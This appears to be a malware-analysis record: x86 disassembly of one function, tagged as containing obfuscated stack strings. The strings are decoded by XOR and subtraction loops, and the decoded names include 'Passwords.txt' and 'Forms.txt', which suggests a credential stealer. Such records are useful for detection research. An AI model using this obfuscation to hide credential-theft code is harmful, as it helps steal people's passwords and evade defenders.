Function at 0x40ab1b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov esi, ecx
call fcn.0040adf8
lea ecx, [esi + 0x30]
call fcn.0040adf8
lea ecx, [esi + 0x60]
call fcn.0040adf8
xor eax, eax
lea ecx, [esi + 0x90]
mov edi, ecx
xor ebx, ebx
push 0xf
pop edx
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], edx
mov byte [ecx], bl
lea ecx, [esi + 0xa8]
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ecx + 0x14], edx
lea edx, [esi + 0xc0]
mov dword [ecx + 0x10], ebx
mov edi, edx
mov byte [ecx], bl
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [edx + 0x14], ecx
mov dword [edx + 0x10], ebx
mov byte [edx], bl
lea ebx, [esi + 0xd8]
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
and dword [ebx + 0x10], 0
mov dword [ebx + 0x14], ecx
lea ecx, [esi + 0xf0]
mov byte [ebx], 0
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
and dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea ecx, [esi + 0x108]
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ecx + 0x10], 0
xor eax, eax
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea ecx, [esi + 0x120]
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ecx + 0x10], 0
xor eax, eax
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea ecx, [esi + 0x138]
mov edi, ecx
mov dword [ebp - 0xd], 0x837f7f6d
push 0x5c
mov dword [ebp - 9], 0x7f707e7b
mov dword [ebp - 5], 0x8084803a
stosd dword es:[edi], eax
mov byte [ebp - 1], 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 0xf
mov byte [ecx], al
xor ecx, ecx
mov dword [esi + 0x150], eax
mov dword [esi + 0x154], eax
mov dword [esi + 0x158], eax
mov dword [esi + 0x15c], eax
mov dword [esi + 0x160], eax
mov dword [esi + 0x164], eax
mov dword [esi + 0x168], eax
mov dword [esi + 0x16c], eax
pop eax
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], al
movsx eax, al
and eax, 0x8000000f
jns 0x40ac70
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xd
jae 0x40ac7f
mov al, byte [ebp - 0xf]
jmp 0x40ac61
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
mov ecx, edx
call fcn.00406c0b
mov cl, 0x52
mov dword [ebp - 0xb], 0x203d1452
mov dword [ebp - 7], 0x267c213f
xor eax, eax
mov word [ebp - 3], 0x262a
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0xa], cl
inc eax
cmp eax, 9
jae 0x40acb9
mov cl, byte [ebp - 0xb]
jmp 0x40acaa
lea eax, [ebp - 0xa]
mov byte [ebp - 1], 0
push eax
mov ecx, ebx
call fcn.00406c0b
push 0x12
pop ebx
mov cl, 0x77
mov dword [ebp - 0xd], 0x18183477
mov word [ebp - 9], 0x1e1c
xor eax, eax
mov byte [ebp - 7], bl
mov dword [ebp - 6], 0xf035904
mov word [ebp - 2], 3
xor byte [ebp + eax - 0xc], cl
inc eax
cmp eax, 0xb
jae 0x40acfb
mov cl, byte [ebp - 0xd]
jmp 0x40acec
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
push eax
lea ecx, [esi + 0xf0]
call fcn.00406c0b
mov al, 0x49
mov dword [ebp - 0xd], 0x7c725149
mov dword [ebp - 9], 0x827b787d
xor ecx, ecx
mov dword [ebp - 5], 0x7d817d37
mov byte [ebp - 1], 0
movsx eax, al
and eax, 0x8000000f
jns 0x40ad3a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 0xb
jae 0x40ad49
mov al, byte [ebp - 0xd]
jmp 0x40ad2b
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
push eax
lea ecx, [esi + 0x108]
call fcn.00406c0b
mov byte [ebp - 0xf], bl
xor eax, eax
mov dword [ebp - 0xe], 0x7c657d56
mov dword [ebp - 0xa], 0x76737d7e
mov dword [ebp - 6], 0x6a663c61
mov word [ebp - 2], 0x66
xor byte [ebp + eax - 0xe], bl
inc eax
cmp eax, 0xd
jae 0x40ad8b
mov bl, byte [ebp - 0xf]
jmp 0x40ad7c
lea eax, [ebp - 0xe]
xor ebx, ebx
push eax
lea ecx, [esi + 0x120]
mov byte [ebp - 1], bl
call fcn.00406c0b
mov al, 0x2c
mov dword [ebp - 0xf], 0x7b7b4e2c
mov dword [ebp - 0xb], 0x7e6d5977
mov ecx, ebx
mov dword [ebp - 7], 0x803a7f77
mov word [ebp - 3], 0x8084
mov byte [ebp - 1], bl
movsx eax, al
and eax, 0x8000000f
jns 0x40add0
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xd
jae 0x40addf
mov al, byte [ebp - 0xf]
jmp 0x40adc1
lea eax, [ebp - 0xe]
mov byte [ebp - 1], bl
push eax
lea ecx, [esi + 0x138]
call fcn.00406c0b
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret